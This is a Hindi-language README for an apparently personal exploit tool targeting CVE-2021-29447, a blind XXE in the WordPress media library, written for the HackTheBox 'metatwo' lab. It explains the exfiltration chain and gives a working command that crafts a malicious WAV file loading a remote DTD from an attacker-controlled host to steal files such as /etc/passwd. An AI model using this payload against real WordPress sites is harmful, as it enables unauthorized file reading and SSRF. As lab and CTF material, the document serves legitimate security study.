
CVE-2021-29447 पर आधारित मनमानी फ़ाइल पढ़ने का नियंत्रक
मैंने इस नियंत्रक को HackTheBox में metatwo मशीन पर काम करते हुए CVE-2021-29447 का शोषण करने के लिए बनाया है, जो वर्डप्रेस मीडिया लाइब्रेरी में एक XXE भेद्यता है जो संस्करण 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 को प्रभावित करती है। जहां एक प्रमाणित उपयोगकर्ता जिसके पास मीडिया लाइब्रेरी अपलोड करने की क्षमता है, एक दुर्भावनापूर्ण wav फ़ाइल अपलोड कर सकता है जो दूरस्थ मनमाना फ़ाइल पढ़ने और सर्वर साइड रिक्वेस्ट फोर्जरी (SSRF) का कारण बन सकता है।
इन भेद्यताओं का शोषण करने के लिए, एक सफल हमले को पूरा करने में कई कदम लगते हैं। इसका परिणाम यह है कि पार्स की गई iXML मेटाडेटा उपयोगकर्ता को वापस नहीं भेजी जाती है, इसलिए इसका शोषण करने के लिए हमें एक blind XXE पेलोड की आवश्यकता है। यह हमलावर द्वारा नियंत्रित एक बाहरी Document Type Definition (DTD) शामिल करके किया जा सकता है और हमें हमलावर के सुनने वाले सर्वर पर कनेक्शन वापस पाने के लिए दुर्भावनापूर्ण wav फ़ाइल बनानी होगी। एक बार जब हम ये कदम पूरा कर लेते हैं, तो wav फ़ाइल को सर्वर पर अपलोड करें और एक HTTP अनुरोध प्राप्त होने की प्रतीक्षा करें जिसमें हमारी पेलोड फ़ाइल का base64 एन्कोडेड कंटेंट होता है, उदाहरण के लिए: /etc/passwd, और फिर base64 को डीकोड करें। इस नियंत्रक में इन सभी चरणों के समाधान हैं। आपको केवल नियंत्रक पर फ़ाइलनाम टाइप करना होगा $console >
विस्तृत ब्लॉग https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
नोट: यह नियंत्रक पूरी तरह से HTB metatwo मशीन के लिए कॉन्फ़िगर किया गया है। किसी भी बाहरी उपयोग के लिए आपको स्क्रिप्ट में कुछ बदलाव करने होंगे।
payload.wav नामक एक वेव फ़ाइल बनाएं
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
main.py चलाएं
python3 main.py listen_ip
